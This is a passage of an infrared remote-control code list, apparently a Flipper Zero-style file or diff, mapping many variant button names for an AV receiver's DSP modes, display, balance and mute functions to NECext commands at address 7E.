+address: 7E 00 00 00 +command: BF 00 00 00 +# +name: FM/AM_AUTO_TUNE_DOWN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: AUTO_TUNE_- +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: BF 00 00 00 +# +name: PRGRM_2CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: DSP:_2CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: DSP_2CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: DSP_STEREO_2CH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: 2_CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: DSP:_2-CHANNEL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: DSP_2-CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: DSP:_2CH_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C0 00 00 00 +# +name: PRGRM_DIRECT_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C1 00 00 00 +# +name: DSP:_DIRECT_STEREO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C1 00 00 00 +# +name: DSP:_2CH_DIRECT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C1 00 00 00 +# +name: DSP:_THX_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C2 00 00 00 +# +name: DECOD:_THX_CINU2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C2 00 00 00 +# +name: DSP:_THX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C3 00 00 00 +# +name: DECOD:_THX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C3 00 00 00 +# +name: DSP:_THX/MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C3 00 00 00 +# +name: DSP:_HALL_USA_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C4 00 00 00 +# +name: DSP:_HALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C4 00 00 00 +# +name: DSP:_HALL_USA_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C5 00 00 00 +# +name: DSP:_HALL_G +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C5 00 00 00 +# +name: DSP:_HALL_H +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C6 00 00 00 +# +name: 2CH_DECODE_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DSP:_S_PLIIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: SUR_DEC_PLIIX_GAM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DSP:_PLIIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DCODE_PLIIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: PROLOGIC_IIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DSP:_PLII_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DSP_PLIIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DECOD:_PLIIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: SUR_PLIIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: SUR_PLIIX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C7 00 00 00 +# +name: DSP:_THX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C8 00 00 00 +# +name: DECOD:_THX_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C8 00 00 00 +# +name: 2CH_DECODE_PROLOGI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: DSP:_S_PRO_LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: SUR_DEC_PRO_LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: DSP:_PRO_LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: DCODE_PROLOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: PROLOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: DSP:_PROLOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: DSP_PRO_LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: SUR_PRO_LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: SUR_PRO_LOGIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: C9 00 00 00 +# +name: DCODE_CSII_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CA 00 00 00 +# +name: DSP_CSII_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CA 00 00 00 +# +name: DECOD:_CSII_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CA 00 00 00 +# +name: SUR_CSII_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CA 00 00 00 +# +name: SUR_CSII_CINEMA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CA 00 00 00 +# +name: DCODE_CSII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CB 00 00 00 +# +name: DSP_CSII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CB 00 00 00 +# +name: DECOD:_CSII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CB 00 00 00 +# +name: SUR_CSII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CB 00 00 00 +# +name: SUR_CSII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CB 00 00 00 +# +name: 2CH_DECODER_NEURA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: DSP_NEURAL_SUR. +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: SUR_DEC_NEURALTHX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: DSP:_NEURAL_SUR. +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: DCODE_NEURAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: DSP:_NEURAL_SURR +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: DECOD:_NEURAL_THX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: SUR_NEURAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: SUR_NEURAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CC 00 00 00 +# +name: PRGRM_CELLAR_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CD 00 00 00 +# +name: DSP_CELLAR_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CD 00 00 00 +# +name: DSP:_CELLAR_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CD 00 00 00 +# +name: DSP_L/C_CELLAR_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CD 00 00 00 +# +name: DSP:_CELLAR_CLUB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CD 00 00 00 +# +name: PRGRM_RPGAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP_RPG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP:_ROLEPLAY_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP:_ROLEPLAY_GAM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP_ENT_ROLE_PLAY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP:_ROLEPLAYING_GAM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP:_ROLE_GAME +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP_ROLLPLAYING_GA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP:_ROLEPLAY/GAM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP:_ROLEPLAYING +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: DSP:_ROLEPLAYING +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CE 00 00 00 +# +name: PRGRM_NIGHT_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CF 00 00 00 +# +name: DSP:_NIGHT_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CF 00 00 00 +# +name: DSP:_NIGHT_MODE_MUS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CF 00 00 00 +# +name: NIGHT:_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: CF 00 00 00 +# +name: DISP_XM/IPOD/FM_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D0 00 00 00 +# +name: MAIN_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D0 00 00 00 +# +name: MZ:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D0 00 00 00 +# +name: SOURCE:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D0 00 00 00 +# +name: DISPLAY:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D0 00 00 00 +# +name: SOURCE_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D0 00 00 00 +# +name: DISP_XM/IPOD/FM_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: MAIN_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: MAIN_DISP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: MZ:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: MZ:_MAIN_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: SOURCE:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: DISPLAY:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: SOURCE_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D1 00 00 00 +# +name: Z2_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D2 00 00 00 +# +name: MAIN_DISP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D2 00 00 00 +# +name: Z2:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D2 00 00 00 +# +name: SOURCE:_DISPLAY_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D2 00 00 00 +# +name: Z2_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D3 00 00 00 +# +name: Z2:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D3 00 00 00 +# +name: Z2_DISP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D3 00 00 00 +# +name: Z2:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D3 00 00 00 +# +name: SOURCE:_DISPLAY_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D3 00 00 00 +# +name: Z2_BALANCE_L +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D4 00 00 00 +# +name: Z2:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D4 00 00 00 +# +name: Z2_DISP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D4 00 00 00 +# +name: Z2:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D4 00 00 00 +# +name: TONE_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D4 00 00 00 +# +name: Z2:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D4 00 00 00 +# +name: Z2_BALANCE_R +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D5 00 00 00 +# +name: Z3:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D5 00 00 00 +# +name: Z2:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D5 00 00 00 +# +name: TONE_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D5 00 00 00 +# +name: Z2:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D5 00 00 00 +# +name: Z3_BALANCE_L +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D6 00 00 00 +# +name: Z3:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D6 00 00 00 +# +name: Z3:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D6 00 00 00 +# +name: TONE_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D6 00 00 00 +# +name: Z3:_BALANCE_LEFT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D6 00 00 00 +# +name: Z3_BALANCE_R +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D7 00 00 00 +# +name: Z3:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D7 00 00 00 +# +name: TONE_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D7 00 00 00 +# +name: Z3:_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D7 00 00 00 +# +name: PRGRM_ENHANCER2CH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP_ENHANCER_STRAI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: ENHANCER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP:_ENHANCER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP_ENHANCER_2CH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: 2_CH_ENHANCER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP:_ENHANCER2CH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP_2CH_ENH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP:_ENHA_STRAIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP:_2CH_ENHANCER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: DSP:_2CH_ENHANCER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D8 00 00 00 +# +name: PRGRM_ENHANCER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D9 00 00 00 +# +name: ENHANCER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D9 00 00 00 +# +name: DSP:_ENHANCER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: D9 00 00 00 +# +name: AUDIO_SELECT_HDMI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DA 00 00 00 +# +name: MZ:_AUDIO_HDMI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DA 00 00 00 +# +name: AUDIO_SEL:_HDMI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DA 00 00 00 +# +name: INP-A_HDMI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DA 00 00 00 +# +name: AUDIO_SELECT:_HDMI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DA 00 00 00 +# +name: MZ:_AUD_SEL_HDMI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DA 00 00 00 +# +name: MZ:_DECODER_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DB 00 00 00 +# +name: DECODER_MODE_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DB 00 00 00 +# +name: DECODER_MODE:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DB 00 00 00 +# +name: EX/ES_EX_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: DSP:_DOLBY_EX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: EXTD_SUR_DOLBY_EX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: EXT_SUR:_DOLBY_EX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: DSP:_EX_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: DSP:_EX_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: EX/ES_EX_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: DECOD:_E_EX +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: DSP:_EX_ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DC 00 00 00 +# +name: EX/ES_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: DSP:_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: EXTD_SUR_PLIIX_MOV +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: EXT_SUR:_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: DSP_EX_PLIIX_MOVI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: DSP:_PLII_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: DSP:_PLIIX_MOVIE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: EX/ES_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: DECOD:_E_PLIIX_MOV +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: EXT_SUR_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: EXT_SUR_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DD 00 00 00 +# +name: EX/ES_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: DSP:_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: EXTD_SUR_PLIIX_MUS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: EXT_SUR:_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: DSP_EX_PLIIZ_MUSI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: DSP:_PLII_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: DSP:_PLIIX_MUSIC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: EX/ES_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: DECOD:_E_PLIIX_MUS +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: EXT_SUR_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: EXT_SUR_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DE 00 00 00 +# +name: MZ:_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: MZ_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: MZ:_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: MUTE_ON_(-20DB) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: MAIN:_MUTE_ON(-20DB) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: MUTE:_-20_DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: AUDIO_MUTE_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: VOL_MUTE_ON_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: MZ:_MUTE_ON_-20DB +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: DF 00 00 00 +# +name: PRGRM_STRAIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: EFFECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: DSP_EFFECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: DSP:_EFFECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: DSP:_STRAIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: DSP_STRAIGHT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: DSP_STRAIGHT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: DSP:_STRAIGHT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: PGM_STEREO(EFF._OFF) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: DSP:_STRAIGHT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E0 00 00 00 +# +name: PRGRM_HALL_MUNICH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: HALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: HALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_HALL_IN_MUNICH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP_HALL_IN_MUNCH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP_HALL1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_MUNICH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: HALL_EUROPE_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP_HALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP_CLASS_MUNICH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_HALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP_HALL_IN_MUNICH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_HALL_MUNICH_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: PGM_HALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_HALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_HALL_MUNICH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: DSP:_HALL_MUNICH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E1 00 00 00 +# +name: HALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E2 00 00 00 +# +name: HALL_EUROPE_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E2 00 00 00 +# +name: DSP_HALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E2 00 00 00 +# +name: DSP:_HALL_MUNICH_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E2 00 00 00 +# +name: PGM_HALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E2 00 00 00 +# +name: DSP:_HALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E2 00 00 00 +# +name: HALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E3 00 00 00 +# +name: HALL_USA_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E3 00 00 00 +# +name: DSP_HALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E3 00 00 00 +# +name: DSP:_HALL_FRANKFURT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E3 00 00 00 +# +name: PGM_HALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E3 00 00 00 +# +name: DSP:_HALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E3 00 00 00 +# +name: HALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E4 00 00 00 +# +name: HALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E4 00 00 00 +# +name: HALL_LIVE_CONCERT +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E4 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E4 00 00 00 +# +name: DSP:_HALL_STUTTGART +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E4 00 00 00 +# +name: PGM_HALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E4 00 00 00 +# +name: DSP:_HALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E4 00 00 00 +# +name: PRGRM_VIENNA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: HALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP:_HALL_IN_VIENNA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP:_CONCERT_HALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP:_VIENNA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP_HALL_IN_VIENNA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: CHURCH_FREIBURG +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP_CLASS_VIENNA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP:_HALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: DSP:_HALL_VIENNA +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 00 +# +name: PGM_HALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: E5 00 00 